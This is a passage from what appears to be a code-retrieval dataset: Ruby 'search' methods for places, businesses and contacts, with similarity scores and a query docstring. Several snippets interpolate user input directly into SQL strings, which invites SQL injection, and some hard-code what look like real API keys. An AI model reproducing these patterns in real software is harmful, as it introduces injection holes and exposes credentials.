then\n\t\t\t@num_items_per_row = params[:itemspr].to_i\n\t\tend\n\t\tif params[:rowspp] then\n\t\t\t@num_rows_per_page = params[:rowspp].to_i\n\t\tend\n\n\t\t@render = 'default'\n\t\tif params[:render] then\n\t\t\t@render = params[:render]\n\t\tend\n\n\t\tif @render == 'json_only' then\n\t\t\trender :json => {:restaurants => @restaurants, :dishes => @dishes}\n\t\telsif @render == 'partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'partials_and_json_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => true, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'dish_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'dishes_only', :render_restaurants => false, :results => 'dishes',\n\t\t\t\t:dishes => @dishes, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'restaurant_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'restaurants_only', :results => 'restaurants',\n\t\t\t\t:restaurants => @restaurants, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\tend\n\t\t# else search.html.erb (the default) will be rendered\n\n\tend",
"def search\n @query = params[:q]\n @ads = Ad.within(@city, 30)\n @ads = @ads.fulltext_search(@query).group_by { |x| x.created_at.to_date }\n end",
"def search(start_lat, start_long, end_lat, end_long, radius, term)\n latitude=start_lat\n longitude=start_long\n puts latitude\n puts end_lat\n # place = []\n # address= []\n places_hash={\n \n }\n while ((latitude-end_lat).abs>0.05) do \n puts \"------------------------------------------\"\n # latitude=((start_lat)..(end_lat)).step(0.001).to_a\n # longitude=((start_long)..(end_long)).step(0.001).to_a\n # s=start_long\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n\n params = {\n # categories: term,\n term: term,\n latitude: latitude,\n longitude: longitude,\n radius: radius\n \n # limit: SEARCH_LIMIT\n }\n\n response = HTTP.auth(bearer_token).get(url, params: params)\n\n \n puts result=response.parse\n if result[\"businesses\"]!=nil\n result[\"businesses\"].each do |place|\n #need to change each loop\n places_hash[place[\"name\"]]=place[\"location\"][\"address1\"]\n end\n end\n \n puts latitude\n puts end_lat\n latitude=(latitude+(end_lat-start_lat)/5.0)\n longitude=(longitude+(end_long-start_long)/5.0)\n end\n puts places_hash\n return places_hash\nend",
"def index\n @hotels = if params[:term]\n Hotel.where(\"name LIKE (?) OR address LIKE (?)\", \"%#{params[:term]}%\", \"%#{params[:term]}%\").paginate(page: params[:page], per_page: 5)\n else\n Hotel.paginate(page: params[:page], per_page: 6)\n end\n end",
"def index\n if params[:search].present?\n @locations = Location.near(params[:search], 50)#, :order => :distance)\n else\n @locations = Location.all\n end\n end",
"def search_within(bounding_box, query, offset = 0, limit = 5, language = 'english')\n if bounding_box[:sw][:latitude]\n many.search_within(query, language, limit, offset, bounding_box[:sw][:latitude], bounding_box[:sw][:longitude], bounding_box[:ne][:latitude], bounding_box[:ne][:longitude]).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n else\n many.search(query, language, limit, offset).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n end\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'MOCK_DATA.csv' file whose name or email attributes contain the search term.\n found_contacts = @@contacts.select do |contact|\n contact.name.downcase.include?(term.downcase) || contact.email.downcase.include?(term.downcase)\n end\n found_contacts\n\n end",
"def search(term)\n contacts_index(Contact.search(term))\n end",
"def search(term=nil)\n return [] if term.nil? || term.empty?\n self.connection.exec(\"SELECT * FROM contacts WHERE name ILIKE '%#{term}%' OR email ILIKE '%#{term}%'\").values\n end",
"def find\n placenames = []\n begin\n placenames = Mapbox::Geocoder.geocode_forward(\n @search_text, \n {:proximity => {:longitude => @lng, :latitude => @lat}}\n )\n rescue Exception => e\n puts \"====================== Exception - MapboxApi - Places - find ======================\"\n puts e.message\n end\n\n return placenames\n end",
"def search(query, limit: 'max', &processor)\n list(@api.query.generator(:search).search(query), limit, &processor)\n end",
"def get_nearby_businesses(email)\n nearby_restaurants = []\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/search?q=#{self.zomato_cuisines}&lat=#{self.location_lat}&lon=#{self.location_lng}&radius=20000\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n response = JSON.parse(response)\n response['restaurants'].each do |item|\n if item['restaurant']['id'] != self.zomato_restaurant_id.to_s\n nearby_restaurants.push item['restaurant']['id']\n secondary_rest = Scenario.new\n secondary_rest = load_scenario secondary_rest, item\n secondary_rest.email = email\n secondary_rest.save\n end\n end\n self.nearby_restaurants = nearby_restaurants.to_s\n true\n end\n false\n end",
"def businesssearchs_get(country, opts = {})\n data, _status_code, _headers = businesssearchs_get_with_http_info(country, opts)\n data\n end",
"def search(q)\n url = Boundary.api_url(@auth)+'/search'\n results = Array.new\n results = Boundary.get(url+\"?q=#{q}\")\n return nil if results.empty? \n case results['header']['hits'].to_i\n when 0\n return nil\n else\n return results['entities']\n end\n end",
"def submit_business_api_call(date, begin_time, budget, location, itinerary)\n preferences_request_biz = current_user.supplemental_preferences\n designated_preference_biz = preferences_request_biz.sample\n category_request_biz = designated_preference_biz.business_categories.sample\n business_search_term = designated_preference_biz.keywords.sample\n open_date_time = user_input_to_unix(date, begin_time)\n user_budget = convert_to_yelp_budget(budget)\n y = YelpResponse.new\n response = y.get_businesses_response({term: business_search_term, categories: category_request_biz, location: location, price: user_budget, open_at: open_date_time, limit: 20})\n response_container = []\n response_container << response[\"businesses\"].sample\n response_convert_hash = {}\n response_convert_hash[\"businesses\"] = response_container\n handle_businesses_response(response_convert_hash, y, itinerary)\n end",
"def search(term)\n contacts = Contact.all\n person_data = nil\n contacts.each_with_index do |contact,index|\n if (contact.name.include? term) || (contact.email.include? term)\n person_data = []\n person_data[0] = index\n person_data[1] = contact \n end\n end\n person_data\n end",
"def search(term,maxResults = 10 )\n refreshToken\n url = \"/api/search?\" + \"query=#{ERB::Util.url_encode(term)}\\&results=#{maxResults.to_i}\\&offset=2\\&auth=#{@token}\\&email=#{@email}\"\n result = agent.get(url)\n JSON.parse(result.body)\n end",
"def yelp\n \n if params.has_key?('reference')\n # Call Google Places to get phone number\n places_url = URI.encode('https://maps.googleapis.com/maps/api/place/details/json?reference=' + params['reference'] + '&sensor=true&key=AIzaSyDfvlLdmPj5jPMYy54KLcmkgvD68oFt5fM')\n places_response = HTTParty.get(places_url)['result']\n \n # puts '>>> google details response'\n # ap response\n \n phone_number = places_response['formatted_phone_number']\n phone_digits = places_response['international_phone_number'].delete(\"+ ()-\")\n \n categories = []\n neighborhoods = []\n \n api_host = 'api.yelp.com'\n ywsid = 'QyGURgxJPFWajTpsNPJeJg'\n \n yelp_url = \"http://#{api_host}\" + '/phone_search?phone=' + phone_digits + '&ywsid=' + ywsid\n \n # HTTParty hard the above path\n yelp_response = HTTParty.get(yelp_url, :format => :json)[\"businesses\"][0]\n \n # puts '>>>> yelp response'\n # ap yelp_response\n \n if yelp_response\n # puts '>>> categories'\n # ap yelp_response[\"categories\"]\n \n yelp_response[\"categories\"].each do |category|\n categories << category[\"name\"]\n end\n \n yelp_response[\"neighborhoods\"].each do |neighborhood|\n neighborhoods << neighborhood[\"name\"]\n end\n \n address = yelp_response[\"address1\"]\n \n results = Hash.new\n results[\"address\"] = address\n results[\"phone\"] = phone_number\n results[\"categories\"] = categories\n results[\"neighborhoods\"] = neighborhoods\n \n response = Hash.new\n response[:success] = true\n response[:results] = results\n else\n response = Hash.new\n response[:success] = false\n end\n \n render json: response\n end\n end",
"def food_trucks_within(bounding_box)\n @bounding_box = bounding_box\n\n response = self.class.get(\n ENV['DATA_SF_BASE_PATH'],\n query: query\n )\n return response if response.success?\n raise CustomErrors::Api::ThirdPartyApiError.new(message: 'An error occured with the DataSf API, please contact the service administrator or see the logs if you are the administrator.', code: 500, data: response)\n end",
"def find_nearby\n locations = read_locations_from FILE\n locations.select_within_radius 100 \n locations.sort.filter_fields\n end",
"def search(keyword: nil, near: nil, radius: 10, type: :all, published_within: :all_dates,\n country: nil, exclude_visited: false, exclude_my: false, sort_by: :closest)\n\n @web.get('https://www.waymarking.com/wm/search.aspx') do |page|\n form = page.form_with(action: '/wm/search.aspx') do |f|\n f['ctl00$ContentBody$FilterControl1$txtKeyword'] = keyword.to_s\n f['ctl00$ContentBody$FilterControl1$uxSearchLocation'] = near.to_s\n f['ctl00$ContentBody$FilterControl1$ddlRadius'] = radius.to_s\n # TODO: support all paramters\n end\n result = form.click_button(form.button_with(name: 'ctl00$ContentBody$FilterControl1$btnUpdate'))\n\n #pp result\n\n #puts result.parser\n raise MalformedRequest, '' if result.title.strip != 'Waymark Search Results'\n\n\n return SearchQuery.new(@web, result)\n end\n end",
"def search(word)\n Parser.new(query(word)).parse\n end",
"def search(word)\n results = []\n @books.each {|item| results << item if item[0].downcase.include?(word) }\n results.empty? ? (puts \"Search returned no results...\") : (results.each {|item| puts \"#{item[0]} (#{item[1]})\"})\n end",
"def search_customers(body:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/customers/search'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.post(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"def index\n\t\tif params[:search].present?\n\t\t\t@locations = Location.near(params[:search], 10, :order => distance)\n\t\telse\n\t\t\t@locations = Location.all\n\t\tend\n\tend",
"def search!(\n query, case_sensitive: false, whole_sentence: true,\n limit: 10, skip: 0, sentence_limit: 80\n )\n results = search(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n limit: limit,\n skip: skip\n )\n\n results.each do |doc|\n doc.search!(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n sentence_limit: sentence_limit\n )\n yield(doc) if block_given?\n end\n\n results\n end",
"def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end",
"def search_for(keywords, options = {})\n solr_server.find(keywords, options.merge(:results => PublicEarth::Search::PlaceResults))\n end",
"def find_jobs_by_term\n\n print \"\\nEnter a search term to filter jobs by: \".blue\n search_term = gets.strip\n\n jobs = FreelancerFinder::Job.all.find_all do |job|\n job.title.include?(\"#{search_term}\") || job.short_description.include?(\"#{search_term}\") || !!job.tags.detect {|tag| tag.include?(\"#{search_term}\")}\n end\n\n jobs\n end",
"def twitter_search(term)\n TwitterClient.new.search(term)\n end",
"def city_name_search(city)\r\n\t\tcity_name = city\r\n\t\tunless city_name.nil?\r\n\t\t\tcity_name = \"San%20Jose\"\r\n\t\tend\r\n\t\t#replace white spaces.\r\n\t\tcity_name.gsub(\" \", \"%20\")\r\n\t\tapi_key = \"vr7UJMGlyK75TAnqbjZzLff4RzhNHEG2\" #Thao's key. Move this later to env section.\r\n\t\trsc_url = \"https://api.sandbox.amadeus.com/v1.2/points-of-interest/\"\r\n\t\trsc_url_api = \"yapq-search-text?apikey=#{api_key}\"\r\n\t\trsc_url_city = \"&city_name=#{city_name}\"\r\n\t\t#/v1.2/points-of-interest/yapq-search-text?apikey=vr7UJMGlyK75TAnqbjZzLff4RzhNHEG2&city_name=Boston\r\n\t\tget_url = \"#{rsc_url}#{rsc_url_api}#{rsc_url_city}\"\r\n\t\tresponse = Faraday.get get_url\r\n\tend",
"def search\n \n # Populate the @traveler variable\n get_traveler\n \n query = params[:query]\n query_str = query + \"%\"\n Rails.logger.debug query_str\n\n # This array will hold the list of matching places\n matches = [] \n # We create a unique index for mapping etc for each place we find\n counter = 0 \n \n # First search for matching names in my places\n rel = Place.arel_table[:name].matches(query_str)\n places = @traveler.places.active.where(rel)\n places.each do |place|\n matches << {\n \"index\" => counter,\n \"type\" => PLACES_TYPE,\n \"name\" => place.name,\n \"id\" => place.id,\n \"lat\" => place.location.first,\n \"lon\" => place.location.last,\n \"address\" => place.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => place.name, :address => place.address} })\n }\n counter += 1\n end\n \n # Second search for matching address in trip_places. We manually filter these to find unique addresses\n rel = TripPlace.arel_table[:raw_address].matches(query_str)\n tps = @traveler.trip_places.where(rel).order(\"raw_address\")\n old_addr = \"\"\n tps.each do |tp|\n if old_addr != tp.raw_address\n matches << {\n \"index\" => counter,\n \"type\" => CACHED_ADDRESS_TYPE,\n \"name\" => tp.raw_address,\n \"id\" => tp.id,\n \"lat\" => tp.lat,\n \"lon\" => tp.lon,\n \"address\" => tp.raw_address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => tp.name, :address => tp.raw_address} })\n }\n counter += 1\n old_addr = tp.raw_address\n end \n end\n \n # Lastly search for matching names in the POI table\n rel = Poi.arel_table[:name].matches(query_str)\n pois = Poi.where(rel).limit(MAX_POIS_FOR_SEARCH)\n pois.each do |poi|\n matches << {\n \"index\" => counter,\n \"type\" => POI_TYPE,\n \"name\" => poi.name,\n \"id\" => poi.id,\n \"lat\" => poi.lat,\n \"lon\" => poi.lon,\n \"address\" => poi.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => poi.name, :address => poi.address} })\n }\n counter += 1\n end\n \n respond_to do |format|\n format.js { render :json => matches.to_json }\n format.json { render :json => matches.to_json }\n end\n end",
"def search\n if params[:key] == AUTHORIZATION_TOKEN && params[:q] == \"discover\"\n @google_places = discover\n @places = PLACES.select do |place|\n (place[:coordinates][:latitude].between?(average_location - 0.01, average_location + 0.01))\n end\n elsif params[:key] == AUTHORIZATION_TOKEN && params[:q]\n params_hash = {\n q: params[:q],\n type: params[:type] || \"bar\"\n }\n @google_places = call(params_hash)\n @places = PLACES.select do |place|\n (place[:name].downcase.include? (params[:q].downcase)) || (place[:coordinates][:latitude].between?(average_location - 0.01, average_location + 0.01))\n end\n\n render_error(\"empty\") if @google_places.empty? && @places.empty?\n elsif params[:q]\n render_error\n else\n render_error(\"missing_params\")\n end\n end",
"def search\n @results = Cookbook.search(\n params.fetch(:q, nil)\n ).offset(@start).limit(@items)\n end",
"def search_customers(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/customers/search',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'contacts.csv' file whose name or email attributes contain the search term.\n contents = CSV.read(\"contacts.csv\")\n arr = contents.select do |line|\n line[1].match(term)\n end\n arr\n end",
"def search(area, query, pages=3)\n logger.info \"Performing Amazon search in #{area}: #{query.inspect}\"\n result = []\n (1..pages).each do |page|\n begin\n items = AmazonSearch.new(area, query.merge(\"ItemPage\" => page)).items\n result += items.map { |item| store_or_lookup(item) }.compact\n rescue Exception => e\n logger.info \"An error occured while searchin on page #{page}: #{e}\"\n break\n end\n end\n result\n end",
"def search(term)\n all.select { |contact| contact.name.include?(term) || contact.email.include?(term) }\n end",
"def search(searchterm)\n searchoperation = @@conn.exec_params(\"SELECT * FROM contacts WHERE name LIKE '%#{searchterm}%' or email like '%#{searchterm}%';\")\n emptyarray = [] #make empty one to fill up with objects\n # puts searchoperation.count << counts postgres class object\n searchoperation.each do |result|\n # puts result[\"name\"]\n #put quotes when there is a hash\n \n emptyarray << Contact.new(result[\"id\"], result[\"name\"], result[\"email\"])\n # parameters that contact expects\n # (id, name, email)\n\n end\n emptyarray\n\n\n\n end",
"def scrape\n request = BoundingBox.new(\n :term => keyword,\n :sw_latitude => sw_lat,\n :sw_longitude => sw_long,\n :ne_latitude => ne_lat,\n :ne_longitude => ne_long,\n :sort => 2)\n\n request2 = BoundingBox.new(\n :term => keyword,\n :sw_latitude => sw_lat,\n :sw_longitude => sw_long,\n :ne_latitude => ne_lat,\n :ne_longitude => ne_long,\n :sort => 2,\n :limit => 20,\n :offset => 20)\n\n\n [ client.search(request), client.search(request2) ]\n end",
"def search_by_zip_code\n zip_codes = []\n if not (term = params[:term].to_s.strip).blank? and term.to_i > 0\n zip_codes = ZipCode.find(:all, :conditions => [\"code = ?\", term])\n zip_codes.compact!\n end\n render :json => format_suggested_cities_by_zip_code(zip_codes).to_json\n end",
"def retrieve_business\n warn 'Endpoint retrieve_business in V1LocationsApi is deprecated'\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v1/me'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'contacts.csv' file whose name or email attributes contain the search term.\n contacts = []\n CSV.foreach('contacts.csv') do |contact|\n if contact[1].match(/.*#{term}.*/) or contact[2].match(/.*#{term}.*/)\n match = Contact.new(contact[1], contact[2], contact[0])\n contact.drop(3).each do |number|\n number = number.split(\": \")\n phone = PhoneNumber.new(number[0],number[1])\n match.add_number(phone)\n end\n contacts << match\n end\n end\n contacts\n end",
"def post_businesses_lookup(opts = {})\n data, _status_code, _headers = post_businesses_lookup_with_http_info(opts)\n data\n end",
"def search\n search = Wine.search do\n fulltext params[:search]\n paginate(:page => params[:page], :per_page => params[:per_page])\n end\n\n # Assign our search results to the wines to display, and render it the same as our index.\n @wines = search.results\n @wines.index\n render 'index'\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'contacts.csv' file whose name or email attributes contain the search term.\n Contact.all.select do |contact|\n contact.name.downcase.match(term) || contact.email.downcase.match(term)\n end\n end",
"def index\n if params[:search].present?\n @buildings = Building.near(params[:search], 50, :order => :distance)\n else\n @buildings = Building.all\n end\n\n end",
"def search\r\n @addresses = Address.find_by_address(params[:address])\r\n end",
"def index\n @locations = Location.search(params[:search])\n end",
"def yahoo_geocode\n\t\t yk = \"zJTs83vV34Eev5u7qgZIhICrZ0f20bNkRyvl9_XZmMMygNWXkDscK.z030x6UB4-\"\n\n\t\t # ungeocoded = Restaurant.where(:county => \"Clackamas\", :loc => {'$size' => 0 })\n\t\t ungeocoded = Restaurant.where(:county => \"Clackamas\")\n\t\t total = ungeocoded.count\n\t\t ungeocoded.each_with_index do |restaurant, idx|\n\t\t next if restaurant.street.nil? \n\t\t sleep 0.5\n\t\t geocode_url= \"http://where.yahooapis.com/\"\n\t\t geocode_url += \"geocode?location=#{URI.escape(restaurant.address)}\"\n\t\t geocode_url += \"&flags=J&appid=#{yk}\"\n\n\t\t begin\n\t\t result_json = open(geocode_url).read\n\t\t result = JSON.parse(result_json)\n\t\t r = result['ResultSet']['Results'].first\n\n\t\t lat = r['latitude'].to_f\n\t\t lng = r['longitude'].to_f\n\t\t coords = [lng, lat]\n\t\t next if coords.nil?\n\t\t restaurant.loc = [lng, lat]\n\t\t puts \"#{restaurant.name} -> #{restaurant.address} -> #{restaurant.loc} (#{idx} of #{total})\"\n\t\t restaurant.save\n\t\t rescue Exception => e\n\t\t puts \"Error getting geocoder result: #{e.inspect}\"\n\t\t end\n\n\t\t end\n\n\t\tend",
"def index\n @buildings = Building.find_near_me(search_params)\n end",
"def index\n @suggested_businesses = SuggestedBusiness.all\n end",
"def api_search(what, where, options={})\n uri = assemble_uri(what, where, @@default_options.merge(options))\n results = self::Results.new\n results.uri = uri\n results.success = false\n begin\n doc = Hpricot(Net::HTTP.get(URI(uri)))\n response = doc.at('response')\n results.query = response.at('query').inner_html\n results.location = response.at('location').inner_html\n results.dupefilter = determine_dupefilter(response)\n results.highlight = determine_highlight(response)\n results.totalresults = response.at('totalresults').inner_html.to_i\n results.start = response.at('start').inner_html.to_i\n results.end = response.at('end').inner_html.to_i\n response.search('result').each { |res| results << parse_result(res) }\n results.success = true\n rescue\n results.totalresults = 0\n end\n results\n end",
"def search\n @response = HTTParty.get(\"https://travelbriefing.org/#{params[:searchterm]}?format=json\",\n :headers => { 'Content-Type' => 'application/json', 'Accept' => 'application/json'})\n\n @response = JSON.parse(@response.parsed_response)\n @currency = @response[\"currency\"][\"rate\"].to_f/@response[\"currency\"][\"compare\"][5][\"rate\"].to_f\n\n gon.currency = @currency\n end",
"def search(query)\n @all.each_with_object([]) do |record, matches|\n matches << record if ((record['866']['t'] == query) || (record['866']['s'] == query))\n end\n end",
"def search_people(searchterm,params={})\n @opensearch.search_people(searchterm,params) \n end",
"def search(term)\n # TODO: Select the Contact instances from the 'contacts.csv' file whose name or email attributes contain the search term.\n @@conn.exec_params('SELECT name FROM contacts WHERE name LIKE $1', [\"%#{term}%\"])\n end",
"def agencies_search(q, opts = {})\n data, _status_code, _headers = agencies_search_with_http_info(q, opts)\n data\n end",
"def search(params)\n invalid_keys = params.keys - SEARCH_KEYS\n raise InvalidRequest.new \"Invalid keys: #{invalid_keys.join(\", \")}\" unless invalid_keys.empty?\n\n # Convert arrays into CSVs\n [:keywords, :keywords_exclude].each do |key|\n params[key] = params[key].join(\",\") unless params[key].nil?\n end\n\n # Convert any Time/DateTime objects to UNIX time integers\n params[:updated_min] = params[:updated_min].to_i unless params[:updated_min].nil?\n\n process_location! params\n\n request :search_listings, params\n end",
"def search(query, options={})\n self.perform_get(\"/search\", {\n :q => query\n }.merge(options|| {}))\n end",
"def find(search_terms, acct=nil)\n []\n end",
"def searches\n Boundary.get(@url)\n end",
"def search\n @users = User.search(@search_term)\n @tweets = Tweet.search(@search_term)\n @tags = Tag.search(@search_term)\n end",
"def search(query)\n @search_svc.search query\n end",
"def buses\n @buses = Bus.search(params[:source_search], params[:destination_search])\n end",
"def location_search # :nologin: :norobots:\n query = create_query(:Location, :pattern_search, :pattern => Location.user_name(@user, params[:pattern].to_s))\n show_selected_locations(query, :link_all_sorts => true)\n end",
"def search(options={})\n response = connection.get do |req|\n req.url SEARCH_PATH, options\n end\n\n JSON.parse(response.body)['searchResult']['searchListings']['searchListing']\n end",
"def search(term)\n all.select do |unit|\n unit.aliases.any? { |str| Regexp.new(term).match(str) }\n end\n end",
"def search\n if params[:search].present?\n # This is for the elastic search\n #@bid_items = BidItem.search(params[:search])\n\n # Those are Ruby SQL queries\n # This is to search item_name\n #@bid_items = BidItem.where(:item_name => params[:search])\n # This is to search price larger than\n @bid_items = BidItem.where(\"starting_price > ?\", params[:search])\n else\n @bid_items = BidItem.order(\"id DESC\").limit(30)\n end\n end",
"def find_answers_from_query\n locations = get_places_from_db\n\n locations.each do |location|\n query_answers = @query.results location[:city]\n query_answers.each do |query_answer|\n @answers.add query_answer[:answer]\n break if @answers.length >= @answer_limit\n end\n break if @answers.length >= @answer_limit\n end\n @answers.to_a\n end",
"def search\n\n @search = Location.near(params[:search], 15, :order => :distance)\n \n @query = params[:search]\n @locations = @search\n \n @filtros = ajustaFiltros\n @precios = precios(@locations)\n @campos = self.campos\n @places = places(@locations,@filtros)\n @facets = facetas(@locations, @filtros)\n @json = @locations.to_gmaps4rails\n end",
"def search\n data.select { |raw| raw.values.join(',').match?(/#{search_query}/) }\n end",
"def search_externally(search_term:)\n return [] unless search_term.present? && search_term.length > 2\n\n orgs = externals_search(search_term: search_term)\n prepare(search_term: search_term, records: orgs)\n end",
"def index\n @bookings = Booking.all\n if params[:search]\n @search_term = params[:search]\n @bookings = @bookings.search_by(@search_term)\n end\n end",
"def search(query)\n results(query).map { |r| result_class.new(r) }\n end"
] |
[
"0.6712948",
"0.67085296",
"0.6187356",
"0.61460954",
"0.60580707",
"0.5926747",
"0.5923601",
"0.5886422",
"0.5826447",
"0.5801907",
"0.5741751",
"0.5644916",
"0.5632834",
"0.56057465",
"0.55919534",
"0.55636185",
"0.55577576",
"0.55445105",
"0.5492434",
"0.54901284",
"0.54811895",
"0.5479783",
"0.5434899",
"0.5434336",
"0.54243743",
"0.5411467",
"0.5391438",
"0.53809226",
"0.53737414",
"0.535631",
"0.535346",
"0.5346682",
"0.5343749",
"0.53104293",
"0.53053427",
"0.529398",
"0.5288162",
"0.52718645",
"0.52707547",
"0.52667254",
"0.5239146",
"0.5229835",
"0.52095747",
"0.5198792",
"0.5195943",
"0.51873887",
"0.51764065",
"0.5167948",
"0.51652795",
"0.5164866",
"0.51637393",
"0.51583886",
"0.5151153",
"0.51496464",
"0.51491183",
"0.5145476",
"0.51374036",
"0.5128326",
"0.5126822",
"0.5118921",
"0.5117442",
"0.5116046",
"0.51142794",
"0.5087125",
"0.50838387",
"0.50784725",
"0.50770175",
"0.50651306",
"0.5064555",
"0.50623333",
"0.5057602",
"0.5038406",
"0.5031167",
"0.5028992",
"0.5028073",
"0.50256443",
"0.5023081",
"0.5018768",
"0.501187",
"0.5008366",
"0.5007507",
"0.5004059",
"0.5003843",
"0.5003386",
"0.49933076",
"0.49901193",
"0.4989784",
"0.49838418",
"0.49791816",
"0.49740532",
"0.49696133",
"0.49664712",
"0.49648175",
"0.496474",
"0.49608865",
"0.4960121",
"0.49594837",
"0.49571168",
"0.49562612",
"0.4954699"
] |
0.7724632
|
0
|
Search for businesses near the given coordinates +term+ The search term +latitute+ The latitude in decimal degrees +longitude+ The longitude in decimal degrees
|
def search_with_coordinates(term, latitude, longitude, options={})
search_businesses(term, options.merge(:ll=>"#{latitude},#{longitude}"))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def search_with_location(term, location, options={})\n search_businesses(term, options.merge(:location => location))\n end",
"def search_within(bounding_box, query, offset = 0, limit = 5, language = 'english')\n if bounding_box[:sw][:latitude]\n many.search_within(query, language, limit, offset, bounding_box[:sw][:latitude], bounding_box[:sw][:longitude], bounding_box[:ne][:latitude], bounding_box[:ne][:longitude]).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n else\n many.search(query, language, limit, offset).map { |attributes| PublicEarth::Db::Place.new(attributes) }\n end\n end",
"def find_nearby\n locations = read_locations_from FILE\n locations.select_within_radius 100 \n locations.sort.filter_fields\n end",
"def search\n @places = FoursquarePlace.places_near_coordinates(@coordinates, query: params[:search_terms])\n render json: { data: @places }\n end",
"def search(start_lat, start_long, end_lat, end_long, radius, term)\n latitude=start_lat\n longitude=start_long\n puts latitude\n puts end_lat\n # place = []\n # address= []\n places_hash={\n \n }\n while ((latitude-end_lat).abs>0.05) do \n puts \"------------------------------------------\"\n # latitude=((start_lat)..(end_lat)).step(0.001).to_a\n # longitude=((start_long)..(end_long)).step(0.001).to_a\n # s=start_long\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n\n params = {\n # categories: term,\n term: term,\n latitude: latitude,\n longitude: longitude,\n radius: radius\n \n # limit: SEARCH_LIMIT\n }\n\n response = HTTP.auth(bearer_token).get(url, params: params)\n\n \n puts result=response.parse\n if result[\"businesses\"]!=nil\n result[\"businesses\"].each do |place|\n #need to change each loop\n places_hash[place[\"name\"]]=place[\"location\"][\"address1\"]\n end\n end\n \n puts latitude\n puts end_lat\n latitude=(latitude+(end_lat-start_lat)/5.0)\n longitude=(longitude+(end_long-start_long)/5.0)\n end\n puts places_hash\n return places_hash\nend",
"def search_within(keywords, options = {})\n bounds = options[:bounds] || nil\n keywords = '*:*' if keywords.blank?\n \n logger.debug \"Search Query: #{spatial_query(bounds)}#{keywords}\"\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", options.merge(:qt => 'full', \n :results => Atlas::Extensions::Place::PlaceResults))\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => nil, :where => nil, :query => (keywords == '*:*' && '' || keywords) }\n end",
"def search(term, location)\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n params = {\n term: term,\n location: location,\n limit: SEARCH_LIMIT\n }\n#this takes info from params hash\n response = HTTP.auth(bearer_token).get(url, params: params)\n response.parse[\"businesses\"]\nend",
